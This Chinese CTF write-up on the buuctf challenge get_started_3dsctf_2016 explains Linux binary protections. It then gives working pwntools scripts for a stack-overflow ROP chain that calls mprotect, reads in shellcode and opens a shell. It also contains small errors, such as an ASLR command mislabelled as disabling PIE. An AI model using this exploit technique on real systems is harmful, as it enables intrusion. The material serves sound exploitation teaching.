溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

發(fā)布時間:2021-07-14 15:39:09 來源:億速云 閱讀:210 作者:chen 欄目:安全技術

這篇文章主要講解了“如何利用mprotec函數(shù)修改內存的權限寫入shellcode”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何利用mprotec函數(shù)修改內存的權限寫入shellcode”吧!

修改使用mprotec函數(shù)修改內存的權限為可讀可寫可執(zhí)行,然后在該內存中寫入自己的shellcode,執(zhí)行該代碼即可.
mprotect函數(shù):
int mprotect(void *addr, size_t len, int prot);
addr 內存啟始地址
len  修改內存的長度
prot 內存的權限

這里用buuctf題目get_started_3dsctf_2016
一個很簡單的棧溢出

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

開啟了NX

如何利用mprotec函數(shù)修改內存的權限寫入shellcode順便介紹一下各種保護

一、ASLR

ASLR 的是操作系統(tǒng)的功能選項,作用于 executable(ELF)裝入內存運行時,因而只能隨機化 stack、heap、libraries 的基址。開啟后每次加載程序的 stack、libarys、heap 等地址都會隨機化

未開啟:無作用
半開啟:隨機化 stack 和 libarys
全開啟:隨機化 stack、libarys 和 heap

二、NX

No-Execute(不可執(zhí)行),Nx 的原理是將數(shù)據(jù)所在內存頁標識為不可執(zhí)行,當程序執(zhí)行流被劫持到棧上時,程序會嘗試在數(shù)據(jù)頁面上執(zhí)行指令,因為數(shù)據(jù)頁被標記為不可知性,此時CPU就會拋出異常,而不是去執(zhí)行棧上數(shù)據(jù)。

工作原理:

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

在Windows下,類似的概念為DEP(數(shù)據(jù)執(zhí)行保護),在最新版的Visual Studio中默認開啟了DEP編譯選項。
NX disabled:??梢詧?zhí)行,棧上的數(shù)據(jù)也可以被當作代碼執(zhí)行。
NX enabled:棧不可執(zhí)行,棧上的數(shù)據(jù)程序只認為是數(shù)據(jù),如果去執(zhí)行的話會發(fā)生錯誤。即棧上的數(shù)據(jù)不可以被當作代碼執(zhí)行。

三、PIE

PIE(Position Independent Executables)是編譯器(gcc,..)功能選項(-fPIE / -fpie),作用于編譯過程,可將其理解為特殊的 PIC(so專用,Position Independent Code),加了 PIE 選項編譯出來的 ELF 用 file 命令查看會顯示其為 so,其隨機化了 ELF 裝載內存的基址(代碼段、plt、got、data 等共同的基址)。其效果為用 objdump、IDA 反匯編之后的地址是用偏移表示的而不是絕對地址。

No PIE:無作用
PIE enabled:代碼段、plt、got、data 等共同的基址會隨機化。在編譯后的程序中,只保留指令、數(shù)據(jù)等的偏移,而不是絕對地址的形式。

一般情況下NX(Windows平臺上稱其為DEP)和地址空間分布隨機化(ASLR)會同時工作。

內存地址隨機化機制(address space layout randomization),有以下三種情況

0 - 表示關閉進程地址空間隨機化。 
1 - 表示將mmap的基址,stack和vdso頁面隨機化。
2 - 表示在1的基礎上增加棧(heap)的隨機化。

可以防范基于Ret2libc方式的針對DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運行惡意代碼。
Built as PIE:位置獨立的可執(zhí)行區(qū)域(position-independent executables)。這樣使得在利用緩沖溢出和移動操作系統(tǒng)中存在的其他內存崩潰缺陷時采用面向返回的編程(return-oriented programming)方法變得難得多。

liunx下關閉PIE的命令如下:

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

四、Canary

金絲雀保護,開啟這個保護后,函數(shù)開始執(zhí)行的時候會先往棧里插入 cookie 信息,當函數(shù)真正返回的時候會驗證 cookie 信息是否合法,如果不合法就停止程序運行。真正的 cookie 信息也會保存在程序的某個位置。插入棧中的 cookie 一般在 ebp / rbp 之上的一個內存單元保存。

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

無 Canary 保護:無任何作用
部分函數(shù) Canary 保護:在一些容易受到攻擊的函數(shù)返回地址之前添加 cookie 。在函數(shù)返回時,檢查該 cookie 與原本程序插入該位置的 cookie 是否一致,若一致則程序認為沒有受到棧溢出攻擊。
全部函數(shù) Canary 保護:所有的自定義函數(shù)在返回地址之前都會添加 cookie 。在函數(shù)返回時,檢查該 cookie 與原本程序插入該位置的 cookie 是否一致,若一致則程序認為沒有受到棧溢出攻擊。

五、RELRO

設置符號重定位表格為只讀或在程序啟動時就解析并綁定所有動態(tài)符號,從而減少對 GOT 攻擊。

No RELRO:在這種模式下關于重定位并不進行任何保護。
Partial RELRO:在這種模式下,一些段 (包括.dynamic) 在初始化后將會被標識為只讀。
Full RELRO:在這種模式下,除了會開啟部分保護外。惰性解析會被禁用(所有的導入符號將在開始時被解析,.got.plt 段會被完全初始化為目標函數(shù)的終地址,并被標記為只讀)。此外,既然惰性解析被禁用,GOT[1] 與 GOT[2] 條目將不會被初始化為提到的值。

有后門函數(shù),但是遠程打不通

from pwn import *
context.log_level = 'debug'
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
printf_addr = 0x0804F0E0
main = 0x08048A20
get_flag = 0x080489B8
payload_01 = 'A' * 56 + p32(get_flag)
sh.sendline(payload_01)
sh.interactive()

遠程打不通,但是發(fā)現(xiàn)了mprotec函數(shù),所以可以選擇通過mprotec函數(shù)修改內存權限寫入shellcode

下個斷點,運行

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

查看一下內存

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

0x80ea000-0x80ec000為rw-p權限,可以寫入,gdb命令擴展:

https://visualgdb.com/gdbreference/commands/x

本來是溢出到get_flag地址,現(xiàn)在棧溢出ret 到 mprotect函數(shù)地址

payload = 'A'*0x38 + p32(mprotect_addr)

call 指令, call = push + jmp

所以直接ret后要留一個返回地址,因為ret 就相當于 jmp 到 mprotect,為了完整的回來,所以在mprotect地址后在壓入一個返回地址.
在32為系統(tǒng)中使用棧傳參,第一個參數(shù)先push,第二個再push....

payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)

ret_addr 為 mprotect函數(shù)執(zhí)行完后的地址.

argu1 為mprotect函數(shù)的第一個參數(shù) (被修改內存的地址) 設置為 0x0x80EB000 (vmmap得到)

argu2 為mprotect函數(shù)的第二個參數(shù) (被修改內存的大小) 設置為 0x1000 (0x0x80EB000-0x80ec000)

argu3 為mprotect函數(shù)的第三個參數(shù) (被修改內存的權限) 設置為 7 = 4 + 2 +1 (rwx)

為了后續(xù)再能使用ret,我們構造一下棧的布局,因為mprotect函數(shù)使用到了3個參數(shù),就找存在3個連續(xù)pop的指令。在正常情況下,函數(shù)傳參是使用push,所以要為了堆棧還原,函數(shù)調用結束時就使用pop來保證堆棧完好,所以需要三個pop

使用ROPgadget尋找合適的地址

ROPgadget--binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

0x0804f460即為上面的ret_addr的地址

而現(xiàn)在的payload就可以為:

payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)

定義執(zhí)行完mprotect函數(shù)的返回地址即read的地址,我們也就可以再次利用ret來控制eip,將自己的shellcode寫入內存再執(zhí)行,使用read函數(shù)寫入。

read函數(shù):
ssize_t read(int fd, void *buf, size_t count);
fd 設為0時就可以從輸入端讀取內容    設為0
buf 設為我們想要執(zhí)行的內存地址     設為我們已找到的內存地址0x80EB000
size 適當大小就可以              設為0x100就可以了

payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)

read函數(shù)跟mprotect一樣,call = push + jmp.
read_addr 后面跟執(zhí)行完read函數(shù)后的返回地址。再次使用pop3_ret彈掉3個已用的參數(shù),接著還可以利用ret來控制eip跳轉到mem_addr即修改內存的地址執(zhí)行自己的shellcode, payload如下:

payload = 'A' *0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr)

在執(zhí)行read函數(shù)時就可以輸入shellcode

# _*_ coding:utf-8 _*_
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = elf.process()
sh = remote('node3.buuoj.cn', 28624)
pop3_addr = 0x804951D
mem_addr = 0x80EB000 #可讀可寫的內存,但不可執(zhí)行
mem_size = 0x1000    #通過調試出來的值
mem_proc = 0x7       #可代表可讀可寫可執(zhí)行
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(pop3_addr) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr)
sh.sendline(payload)
payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 
sh.sendline(payload_sh)
sh.interactive()

如何利用mprotec函數(shù)修改內存的權限寫入shellcode

感謝各位的閱讀,以上就是“如何利用mprotec函數(shù)修改內存的權限寫入shellcode”的內容了,經(jīng)過本文的學習后,相信大家對如何利用mprotec函數(shù)修改內存的權限寫入shellcode這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI